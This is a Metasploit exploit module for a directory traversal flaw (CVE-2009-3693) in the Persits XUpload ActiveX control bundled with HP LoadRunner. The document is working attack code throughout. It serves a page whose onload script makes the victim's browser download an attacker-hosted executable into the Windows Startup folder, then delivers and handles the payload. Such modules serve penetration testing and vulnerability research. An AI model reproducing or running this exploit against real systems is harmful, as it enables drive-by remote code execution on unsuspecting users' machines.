Persits XUpload – ActiveX MakeHttpRequest Directory Traversal (Metasploit)
## # $Id: persits_xupload_traversal.rb 10998 2010-11-11 22:43:22Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Persits XUpload ActiveX MakeHttpRequest Directory Traversal', 'Description' => %q{ This module exploits a directory traversal in Persits Software Inc's XUpload ActiveX control(version 3.0.0.3) that's included in HP LoadRunner 9.5. By passing a string containing "..\\" sequences to the MakeHttpRequest method, an attacker is able to write arbitrary files to arbitrary locations on disk. Code execution occurs by writing to the All Users Startup Programs directory. You may want to combine this module with the use of multi/handler since a user would have to log for the payloda to execute. }, 'License' => MSF_LICENSE, 'Author' => [ 'jduck' ], 'Version' => '$Revision: 10998 $', 'References' => [ [ 'CVE', '2009-3693'], [ 'OSVDB', '60001'], [ 'URL', 'http://retrogod.altervista.org/9sg_hp_loadrunner.html' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 2048, 'Compat' => { 'ConnectionType' => '-find', } }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], ], 'DisclosureDate' => 'Sep 29 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('PATH', [ true, 'The path to place the executable.', '../../../Documents and Settings/All Users/Start Menu/Programs/Startup/']), ], self.class) end def on_request_uri(cli, request) uri,token = request.uri.split('?', 2) print_status("request fired : #{uri}") if !token # randomize some stuff objid = rand_text_alpha(rand(100) + 1) func = rand_text_alpha(rand(100) + 1) # send the html that makes the payload get downloaded token = rand_text_numeric(32) if ("/" == get_resource[-1,1]) exe_uri = get_resource[0, get_resource.length - 1] else exe_uri = get_resource end exe_uri << "?" + token exe_host = "" exe_host << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']) exe_hostport = datastore['SRVPORT'] exe_name = datastore['PATH'].dup exe_name << rand_text_alphanumeric(rand(100) + 1) exe_name << ".exe" html = %Q|<html> <head> <script language='javascript'> function #{func}() { #{objid}.Server = "#{exe_host}"; #{objid}.Script = "#{exe_uri}"; #{objid}.Port = #{exe_hostport}; #{objid}.MakeHttpRequest("","","#{exe_name}","","") } </script> </head> <body onload='javascript:#{func}()'> <object classid='clsid:E87F6C8E-16C0-11D3-BEF7-009027438003' id=#{objid}></object> </body> </html> | print_status("Sending exploit html to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response(cli, html, { 'Connection' => 'close', 'Pragma' => 'no-cache' }) return end print_status("Sending payload exe to #{cli.peerhost}:#{cli.peerport}...") return if ((p = regenerate_payload(cli)) == nil) data = generate_payload_exe({ :code => p.encoded }) # send the exe send_response(cli, data, { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close', 'Pragma' => 'no-cache' }) # Handle the payload handler(cli) end end |